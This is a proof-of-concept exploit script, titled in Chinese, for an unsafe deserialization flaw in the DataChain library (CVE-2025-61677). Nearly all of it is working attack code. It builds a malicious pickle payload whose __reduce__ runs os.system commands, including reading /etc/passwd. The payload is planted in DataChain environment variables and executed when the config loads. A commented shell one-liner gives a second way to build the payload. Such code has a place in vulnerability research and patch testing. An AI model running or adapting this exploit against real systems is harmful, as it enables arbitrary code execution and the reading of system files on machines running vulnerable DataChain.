CVE-2025-61677 DataChain反序列化漏洞导致本地代码执行

# CVE-2025-61677 PoC - DataChain Unsafe Deserialization via Environment Variables # This PoC demonstrates how an attacker can exploit the unsafe deserialization # vulnerability in DataChain <= 0.34.1 by setting malicious environment variables. import os import pickle import base64 class ExploitPayload: """Malicious pickle payload that executes arbitrary code upon deserialization.""" def __reduce__(self): # Command to execute when the payload is deserialized cmd = "id; whoami; cat /etc/passwd | head -5" return (os.system, (cmd,)) def generate_payload(): """Generate a base64-encoded malicious pickle payload.""" payload = pickle.dumps(ExploitPayload()) encoded = base64.b64encode(payload).decode() return encoded def exploit(): """ Step 1: Generate the malicious serialized payload. Step 2: Set it as the DATACHAIN__METASTORE environment variable. Step 3: Trigger DataChain to read the environment variable, causing code execution. """ payload = generate_payload() print(f"[*] Generated payload: {payload[:50]}...") # Set the malicious environment variable os.environ["DATACHAIN__METASTORE"] = payload os.environ["DATACHAIN__WAREHOUSE"] = payload print("[*] Environment variables set with malicious payload") print("[*] Triggering DataChain import to execute the payload...") # When DataChain is imported or initialized, it will read the environment # variables and deserialize the malicious payload, triggering code execution try: from datachain.config import load_config config = load_config() except Exception as e: print(f"[*] Exploit triggered (expected behavior): {e}") if __name__ == "__main__": exploit() # Alternative exploitation method (direct shell command): # export DATACHAIN__METASTORE="$(python3 -c 'import pickle,base64,os; \ # class P: __reduce__ = lambda s: (os.system, ("touch /tmp/pwned",)); \ # print(base64.b64encode(pickle.dumps(P())).decode())')" # python3 -c "import datachain"